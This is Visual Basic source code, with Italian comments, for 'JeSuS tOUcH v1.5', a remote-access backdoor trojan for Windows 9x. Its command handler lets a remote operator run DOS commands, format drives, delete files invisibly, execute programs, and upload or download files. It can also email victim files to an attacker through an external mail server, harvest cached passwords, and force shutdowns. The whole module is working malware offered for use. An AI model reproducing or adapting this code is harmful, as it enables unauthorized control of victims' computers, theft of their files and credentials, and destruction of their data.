Attribute VB_Name = "Comandi"
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''JeSuS tOUcH v1.5 Backdoor scritta in VB5'''''''''''''''''''''''
'''''Attenzione questo programma è stato scritto e testato solo per sistemi Win 9x''''''
''''''''''''''''''Questo programma NON FUNZIONA in sistemi Win NT/2000''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''by -=kRiShNa=-'''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Public Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Declare Function GetTickCount Lib "Kernel32" () As Long
Public Declare Function GetWindowsDirectory Lib "Kernel32" Alias "GetWindowsDirectoryA" (ByVal lpbuffer As String, ByVal nSize As Long) As Long
Public Declare Function Encrypt Lib "crypt.dll" Alias "PC1ENC" (Command1 As String, ePassword As String, sBuffer As String) As String
Public Declare Function Decrypt Lib "crypt.dll" Alias "PC1DEC" (Command1 As String, ePassword As String, sBuffer As String) As String
'Le ultime due dichiarazioni servirebbero per il criptaggio dei dati in uscita e in entrata....solo che ancora non l'ho fatto!
'Comunque la libreria e le dichiarazioni ce le avete....quindi se volete fatele voi.

Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Dim lShowCursor As Long
Dim rtn As Integer
Public Const MAX_CHUNK = 4169
Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE = 4
Public Const SW_HIDE = 0
Public Const SW_SHOW = 5
Public Const GW_CHILD = 5
Public Const SPIF_SENDWININICHANGE = &H2
Public Const SPI_SETDESKWALLPAPER = 20
Public Const SPIF_UPDATEINIFILE = &H1
'Il sistema usa un Modem per la connessione su Internet
Public Const INTERNET_CONNECTION_MODEM As Long = &H1
'Il sistema usa una LAN per la connessione su Internet.
Public Const INTERNET_CONNECTION_LAN As Long = &H2
'Il sistema usa un proxy server per la connessione su Internet.
Public Const INTERNET_CONNECTION_PROXY As Long = &H4
'Verifica dello stato del modem
Public Const INTERNET_CONNECTION_MODEM_BUSY As Long = &H8
'Verifica Installazione RAS
Public Const INTERNET_RAS_INSTALLED As Long = &H10
'Verifica se la connessione e' attiva
Public Const INTERNET_CONNECTION_OFFLINE As Long = &H20
'Verifica se esiste una connessione
Public Const INTERNET_CONNECTION_CONFIGURED As Long = &H40
 
Public Sub Manda(Informazioni As String)
Dim norma As String
On Error GoTo errore
Form1.Winsock1.SendData "norm" & Informazioni
Exit Sub
errore:
Winsock1.Close
Call Form1.Apriporta
End Sub

Sub EseguiComandi(dati As String)
Dim esiste As Boolean
esiste = False

'Comando MSGONLY
If LCase(Left(dati, 7)) = "msgonly" Then
MsgBox Mid$(dati, 9), vbInformation, "MSG 4 YOU!!!!"
Manda ("Ecco....ho eseguito il comando!!!" & vbCrLf)
esiste = True
End If
'Comando APRI/CHIUDI CD
If LCase(Left(dati, 7)) = "cd apri" Then
Call mciSendString("Set CDAudio Door Open Wait", 0&, 0&, 0&)
Manda ("Drive CDROM aperto." + vbCrLf)
esiste = True
End If
If LCase(Left(dati, 9)) = "cd chiudi" Then
Call mciSendString("Set CDAudio Door Closed Wait", 0&, 0&, 0&)
Manda ("Drive CDROM chiuso." + vbCrLf)
esiste = True
End If
'Comandi DOS: COPY,MOVE,DEL,FORMAT
  On Error Resume Next
  If LCase(Left(dati, 4)) = "copy" Or _
     LCase(Left(dati, 4)) = "move" Or _
     LCase(Left(dati, 3)) = "del" Or _
     LCase(Left(dati, 6)) = "format" Then
    strTemp3 = Mid$(dati, 1)
    strTemp1 = ""
   For n = 1 To Len(strTemp3)
   strTemp2 = Mid$(strTemp3, n, 1)
   If strTemp2 >= " " Then strTemp1 = strTemp1 + strTemp2
   Next n
   strTemp3 = strTemp1
   If Mid(strTemp3, 1, 6) = "format" Then apri = Shell("c:\command.com /c " & strTemp3 & " /autotest", 0): GoTo fine
   apri = Shell("c:\command.com /c " & strTemp3, 0)
fine:
    Pause (100)
  Manda ">>Comando eseguito." + vbCrLf
esiste = True
  End If
'Comando KILLFILE
 If LCase(Left(dati, 8)) = "killfile" Then
    strFile = Mid$(dati, 10)
    strTemp1 = ""
   For n = 1 To Len(strFile)
   strTemp2 = Mid$(strFile, n, 1)
   If strTemp2 >= " " Then strTemp1 = strTemp1 + strTemp2
   Next n
   strFile = strTemp1
   On Error Resume Next
   Kill strFile
   Manda (".Kill " + strFile + " eseguito con successo!!!" + vbCrLf)
esiste = True
  End If
'Comando RINOMINA
If LCase(Left(dati, 8)) = "rinomina" Then
    strFile = Mid$(dati, 10)
    strTemp1 = ""
   For n = 1 To Len(strFile)
   strTemp2 = Mid$(strFile, n, 1)
   If strTemp2 >= " " Then strTemp1 = strTemp1 + strTemp2
   Next n
   strFile = strTemp1
   On Error Resume Next
   apri = Shell("c:\command.com /c ren " + strFile, 0)
    Manda ("File Rinominato!!!" + vbCrLf)
  esiste = True
  End If
'Comando DIR
  If LCase(Left(dati, 3)) = "dir" Then
   esiste = True
   file$ = Mid$(dati, 5)
   ps$ = ""
   For n = 1 To Len(file$)
   vv$ = Mid$(file$, n, 1)
   If vv$ >= " " Then ps$ = ps$ + vv$
   Next n
   file$ = ps$
   On Error GoTo nontrovato2
    apri = Shell("c:\command.com /c dir " + file$ + " /o > RunDll.vdx", 0)
    pausa = 5: inizio = Timer
    Manda ">attendi.. DIR: " + file$ + vbCrLf
    Pause (500)
    Do While Timer < inizio + pausa
    Loop
    Open "RunDll.vdx" For Binary Access Read As 1
   testo$ = String(LOF(1), 1): Get #1, 1, testo$
   Close #1
   Manda testo$ + vbCrLf
   Kill "RunDll.vdx"
   GoTo trovato2
nontrovato2:
   Pause (500)
   Manda ">Dir non trovata!"
trovato2:
  End If
'Comando MSGrisp
Dim risp As String
If LCase(Left(dati, 7)) = "msgrisp" Then
    risposta = InputBox(Mid$(dati, 9) & "    <-- si richiede gentilmente una risposta. Se quest'ultima non perverrà si sarà perseguibili a norma di....voglia!!!", "MSG 4 You....but I want a answer!!!")
    risp = "Risp: " & risposta
    If risposta = "" Then risp = "Il Server non ha dato una risposta al precedente messaggio!!"
    Manda risp + vbCrLf
esiste = True
End If
'Comando ESEGUI
  If LCase(Left(dati, 6)) = "esegui" Then
    strFile = Mid$(dati, 8)
    strTemp1 = ""
   For n = 1 To Len(strFile)
   strTemp2 = Mid$(strFile, n, 1)
   If strTemp2 >= " " Then strTemp1 = strTemp1 + strTemp2
   Next n
   strFile = strTemp1
   On Error Resume Next
   apri = Shell(strFile, vbNormalFocus)
   Manda "Il programma è in esecuzione!!" + vbCrLf
esiste = True
  End If
'Comando FINDFILE
If LCase(Left(dati, 8)) = "findfile" Then
   esiste = True
   file$ = Mid$(dati, 10)
   ps$ = ""
   For n = 1 To Len(file$)
   vv$ = Mid$(file$, n, 1)
   If vv$ >= " " Then ps$ = ps$ + vv$
   Next n
   file$ = ps$
   On Error GoTo nontrovato3
    apri = Shell("c:\command.com /c dir " + file$ + " /o /s > RunDll.vdx", 0)
    pausa = 5: inizio = Timer
    Manda ">attendi.. DIR: " + file$ + vbCrLf
    Pause (500)
    Do While Timer < inizio + pausa
    Loop
    Open "RunDll.vdx" For Binary Access Read As 1
   testo$ = String(LOF(1), 1): Get #1, 1, testo$
   Close #1
   Manda testo$ + vbCrLf
   Kill "RunDll.vdx"
   GoTo trovato3
nontrovato3:
   Pause (500)
   Manda ">Dir non trovata!"
trovato3:
End If
'Comando EXIT
  If LCase(Left(dati, 11)) = "exit logoff" Then ExitWindowsEx EWX_LOGOFF, 0: esiste = True: Exit Sub
  If LCase(Left(dati, 13)) = "exit shutdown" Then ExitWindowsEx EWX_SHUTDOWN, 0: esiste = True: Exit Sub
  If LCase(Left(dati, 11)) = "exit reboot" Then ExitWindowsEx EWX_REBOOT, 0: esiste = True: Exit Sub
  If LCase(Left(dati, 10)) = "exit force" Then ExitWindowsEx EWX_FORCE, 0: esiste = True: Exit Sub
  If LCase(Left(dati, 4)) = "exit" Then Manda "Errore, Informazioni mancanti. Dopo l'istruzione Exit DEVE essere presente una delle seguenti possibilità: LOGOFF, FORCE, REBOOT, SHUTDOWN." & vbCrLf: esiste = True
 'Comando IP E HOST
  If LCase(Left(dati, 9)) = "ip e host" Then
  Manda "L'IP di " & Form1.Winsock1.LocalHostName & " è " & Form1.Winsock1.LocalIP + vbCrLf
esiste = True
  End If
 'Comando KILL ME
  If LCase(Left(dati, 7)) = "kill me" Then
  Manda "Sto chiudendo il programma...ma il server si riavvierà comunque al prossimo avvio del computer!!" + vbCrLf
  esiste = True
  End
  End If
  'Comando NASCONDI/APPARI
  If LCase(Left(dati, 8)) = "nascondi" Then
        LockCursor (True)
        ShowCursor (0)
        esiste = True
        Manda "Puntatore invisibile." + vbCrLf
  ElseIf LCase(Left(dati, 6)) = "appari" Then
        LockCursor (False)
        Call ShowMouse
        esiste = True
        Manda "Puntatore visibile." + vbCrLf
  End If
  'Comando INVERTI/RIPRISTINA
  If LCase(Left(dati, 10)) = "ripristina" Then
    SwapMouseButton (0)
    esiste = True
    Manda "Ordine ripristinato." + vbCrLf
  End If
  If LCase(Left(dati, 7)) = "inverti" Then
    SwapMouseButton (1)
    esiste = True
    Manda "Ordine invertito." + vbCrLf
  End If
  'Comando HELP
  If LCase(Left(dati, 4)) = "help" Then
   esiste = True
   Manda "------------------------------------Versione 1.5-------------------------------------"
   Manda "------------------------------------- COMANDI ---------------------------------------" + vbCrLf
   Manda "msgonly <testo>           =  visualizza un msgbox contenente <testo>       " + vbCrLf
   Manda "msgrisp <testo>           =  manda il messaggio <testo> e attende una risposta" + vbCrLf
   Manda "esegui <file>             =  esegue <file> sul server [path completo!]     " + vbCrLf
   Manda "dir <path>                =  visualizza una dir sul server. es: dir c:\Gino\*.* " + vbCrLf
   Manda "findfile <path>           =  es: vedi c:\gino\*.exe " + vbCrLf
   Manda "exit logoff               =  Esce dal sistema con la modalita' dichiarata" + vbCrLf
   Manda "exit shutdown             =                      "" " + vbCrLf
   Manda "exit reboot               =                      "" " + vbCrLf
   Manda "exit force                =                      "" " + vbCrLf
   Manda "cd apri                   =  Apre lo sportellino del CD" + vbCrLf
   Manda "cd chiudi                 =  Chiude lo sportellino del CD" + vbCrLf
   Manda "killfile <file>           =  elimina un file in maniera invisibile al server" + vbCrLf
   Manda "                           > si possono usare i caratteri Jolly, del tipo cancella c:\*.*" + vbCrLf
   Manda "rinomina <file1> <file2>  =  Rinomina file1 come file2" + vbCrLf
   Manda "kill me                   =  shutdown server (rimane cmq installato)" + vbCrLf
   Manda "inverti                   = inverte i tasti del mouse." + vbCrLf
   Manda "ripristina                = rimette a posto i tasti del mouse." + vbCrLf
   Manda "nascondi                  = nasconde il puntatore del mouse. " + vbCrLf
   Manda "appari                    = fa riapparire il puntatore del mouse. " + vbCrLf
   Manda "sendmail <file> <indirizzo> = manda una e-mail ad <indirizzo> con in allegato <file>." + vbCrLf
   Manda "pass                      = questo comando serve per ricavare le cached passwords del server." + vbCrLf
   Manda "hidebarr                  = nasconde la Barra di Avvio" + vbCrLf
   Manda "showbarr                  = mostra la Barra di Avvio" + vbCrLf
   Manda "hidedesk                  = nasconde le icone del Desktop" + vbCrLf
   Manda "showdesk                  = mostra le icone del Desktop" + vbCrLf
   Manda "cambiasfondo <file_.bmp>  = cambia lo sfondo esistente con il file specificato." + vbCrLf
   Manda "                           >p.s. è ovvio che il file SI DEVE GIà TROVARE SUL SERVER!" + vbCrLf
   Manda "dos <comando>             = esegue <comando> in DOS." + vbCrLf
   Manda "changeport <n. porta>     = Cambia la porta TCP su cui ascolta JeSuS tOUcH. " + vbCrLf
   Manda "                           >Per fare questo il server si riavvierà." + vbCrLf
   Manda "invia <file1> <file2>     = Il client invia <file1> al server che lo chiamerà come indicato in <file2>" & vbCrLf
   Manda "sendfile <file1> <file2>  = Ordina al server di inviare al client <file1> e di chiamarlo <file2>" & vbCrLf
   Manda vbCrLf
   Manda vbCrLf
   Manda vbCrLf
   Manda vbCrLf
   Manda vbCrLf
   Manda "p.s. Attenzione!!! Se state utilizzando un client Telnet normale e non il client di JeSuS tOUcH" & vbCrLf
   Manda "      non potrete utilizzare i comandi Invia e Sendfile" & vbCrLf
   Manda "p.s. Attenzione!!! In questa versione del programma NON" + vbCrLf
   Manda "      è ancora possibile una connettersi al server con più di un utente per volta...." + vbCrLf
   Manda "      nella prossima versione questo problema sarà di certo risolto!!!" + vbCrLf
   Manda vbCrLf
   Manda "              by -=kRiShNa=-" + vbCrLf
   Manda "-------------------------------------------------------------------------------------" + vbCrLf
   End If
   'Comando SENDMAIL
   If LCase(Left(dati, 9)) = "sendmail " Then
        esiste = True
        Dim filemail As String
        Dim indirizzomail As String
        Dim salvastringa As String
        salvastringa = dati
        dati = Mid$(dati, 10)
        indirizzomail = Mid$(dati, InStr(1, dati, " "))
        filemail = Mid$(dati, 1, InStr(1, dati, " "))
        dati = salvastringa
        If Dir(filemail) = "" Then GoTo nonesiste
        Manda "Sto per cominciare l'invio di " & filemail & "." + vbCrLf
        Form1.Smtp1.MailServerDomain = "mail.galactica.it"
        Form1.Smtp1.MailFrom = "jesus@backdoor.it"
        Form1.Smtp1.MailTo = indirizzomail
        Form1.Smtp1.Subject = "Allegato da JeSuS tOuCH v1.0"
        Form1.Smtp1.Message = "ecco i file del Lamer in cui sto lavorando!!!! =)"
        Form1.Smtp1.AttachmentFile = filemail
        Form1.Smtp1.EncodeAttachmentFile = True
        Form1.Smtp1.SendMail = True
        GoTo esiste
nonesiste:
        Manda ">Attenzione: il file non esiste. (" & filemail & ")" + vbCrLf
        Exit Sub
esiste:
        Manda ">Sto inviando l'email...." + vbCrLf
    End If
    'Comando PASS
    If LCase(Left(dati, 4)) = "pass" Then
        Dim elaborap As New Rivelatore
        elaborap.Visible = False
        esiste = True
    End If
    'Comando HIDEBAR/SHOWBAR
    If LCase(Left(dati, 7)) = "hidebar" Then
    esiste = True
    HideStartBar (True)
    Manda "Barra nascosta." + vbCrLf
    End If
    If LCase(Left(dati, 7)) = "showbar" Then
    esiste = True
    HideStartBar (False)
    Manda "Barra nuovamente visibile." + vbCrLf
    End If
    'Comando HIDEDESK/SHOWDESK
    If LCase(Left(dati, 8)) = "hidedesk" Then
    esiste = True
    HideDesktop (True)
    Manda "Icone nascoste." + vbCrLf
    End If
    If LCase(Left(dati, 8)) = "showdesk" Then
    esiste = True
    HideDesktop (False)
    Manda "Icone nuovamente visibili."
    End If
    'Comando CAMBIASFONDO
    If LCase(Left(dati, 12)) = "cambiasfondo" Then
    Dim img As String
    img = Mid(dati, 14)
    If Dir(img) = "" Then Manda "File inesistente!!": Exit Sub
    CambiaSfondo (img)
    Manda "Sfondo cambiato. L'immagine è " & img
    esiste = True
    End If
    'Comando SENDFILE
    If LCase(Left(dati, 8)) = "sendfile" Then
    esiste = True
    Dim FileToSend As String
    Dim fname_sul_client As String
    FileToSend = Mid(dati, 10)
    fname_sul_client = Mid(FileToSend, Int(InStr(1, FileToSend, " ") + 1))
    FileToSend = Mid(FileToSend, 1, Int(InStr(1, FileToSend, " ") - 1))
    Call SendFile(FileToSend, fname_sul_client)
    End If
    'Comando DOS
    If LCase(Left(dati, 3)) = "dos" Then
    esiste = True
    Dim str As String
    Dim infout As String
    str = Mid(dati, 5)
    apri = Shell("c:\command.com /c " & str & " > sysadm.asm", 0)
    Pause (2000)
    Open "sysadm.asm" For Binary As #1
        infout = String(LOF(1), 1)
        Get #1, 1, infout
    Close #1
    Manda infout
    Pause (100)

    Manda "Comando eseguito"
    End If
    'Comando CHANGEPORT
    If LCase(Left(dati, 10)) = "changeport" Then
    esiste = True
    Dim nuovaporta As Long
    Dim strnova As String
    strnova = Mid(dati, 12)
    Manda "La nuova porta sarà la " & strnova & vbCrLf
    Pause (500)
    nuovaporta = Val(strnova)
    Pause (100)
    If Len(strnova) > 5 Then Manda "Porta non valida!": Exit Sub
    If nuovaporta > 65536 Then Manda "Porta non valida!": Exit Sub
    strnova = Encrypt("command-1.com", "jesus", strnova)
    Open WinDir & "\system\jt" For Binary As #1
        Manda "Ho aperto il file " & WinDir & "\system\jt" & " e sto salvando la porta...." & vbCrLf
        Pause (500)
        Put #1, , strnova
    Close #1
    Pause (500)
    Manda "Ora disconnetto il server sulla porta attuale.....provare a riconnettersi sulla nuova porta fra pochi secondi...." & vbCrLf
    Pause (500)
    Shell App.Path & "\" & App.EXEName
    End
    End If
    
    If esiste = False Then Manda "Attenzione, comando inesistente!!!! " & dati + vbCrLf
End Sub
Public Function IsNetConnectOnline() As Boolean
    'un flag qualsiasi se la connessione e' attiva
    IsNetConnectOnline = InternetGetConnectedState(0&, 0&)
End Function

Public Sub HideMouse()
   
Do
   lShowCursor = lShowCursor - 1
   rtn = ShowCursor(False)
Loop Until rtn < 0
   
End Sub



Public Sub ShowMouse()

Do
   lShowCursor = lShowCursor - 1
   rtn = ShowCursor(True)
Loop Until rtn >= 0

End Sub

Sub LockCursor(ByVal Locked As Boolean)

    Dim myform As RECT  'Dimensioni form
    Dim desktop As RECT 'Dimensioni desktop

    If Locked Then

        GetWindowRect Form1.hwnd, myform
        ClipCursor myform

    Else

        GetWindowRect GetDesktopWindow, desktop
        ClipCursor desktop

    End If

End Sub

Sub HideDesktop(ByVal Hidden As Boolean)

    Dim hwnd_Desktop As Long

    hwnd_Desktop = GetWindow(FindWindow("Progman", "Program manager"), GW_CHILD)

    If Hidden Then

        ShowWindow hwnd_Desktop, SW_HIDE
    Else

        ShowWindow hwnd_Desktop, SW_SHOW
    End If

End Sub

Sub HideStartBar(ByVal Hidden As Boolean)

    Dim hwnd_StartBar As Long
    hwnd_StartBar = FindWindow("Shell_TrayWnd", "")

    If Hidden Then

        ShowWindow hwnd_StartBar, SW_HIDE

    Else

        ShowWindow hwnd_StartBar, SW_SHOW

    End If

End Sub

Sub CambiaSfondo(NomeFile As String)
SystemParametersInfo SPI_SETDESKWALLPAPER, 0, NomeFile, _
SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE
End Sub

Public Sub SendFile(percorso As String, percorso_server As String)
    Dim file As String
    Dim i As Long
    If Not Dir(percorso) = "" Then
        i = FileLen(percorso)
    Else
        Manda "File insesistente! " & percorso
        Exit Sub
    End If
    Pause (1000)
    Senda "~~" & i
    Pause (100)
    Open percorso For Binary Access Read As #1
    Senda "apri," & percorso_server
    Pause (1000)
        Do While Not EOF(1)
            file = Input(MAX_CHUNK, #1)
            Senda file
            Pause (700)
            DoEvents
        Loop
    Close #1
    Pause (3000)
    Senda "closefile,"
End Sub

Sub Pause(HowLong As Long)
    Dim u%, tick As Long
    tick = GetTickCount()
    
    Do
      u% = DoEvents
    Loop Until tick + HowLong < GetTickCount
End Sub

Public Sub Senda(stringa As String)
On Error GoTo errore
Form1.Winsock1.SendData stringa
Exit Sub
errore:
Winsock1.Close
Call Form1.Apriporta
End Sub

Public Function WinDir() As String
Dim WinPath As String
Dim temp
    WinPath = String(145, Chr(0))
    temp = GetWindowsDirectory(WinPath, 145)
    WinDir = Left(WinPath, InStr(WinPath, Chr(0)) - 1)
End Function
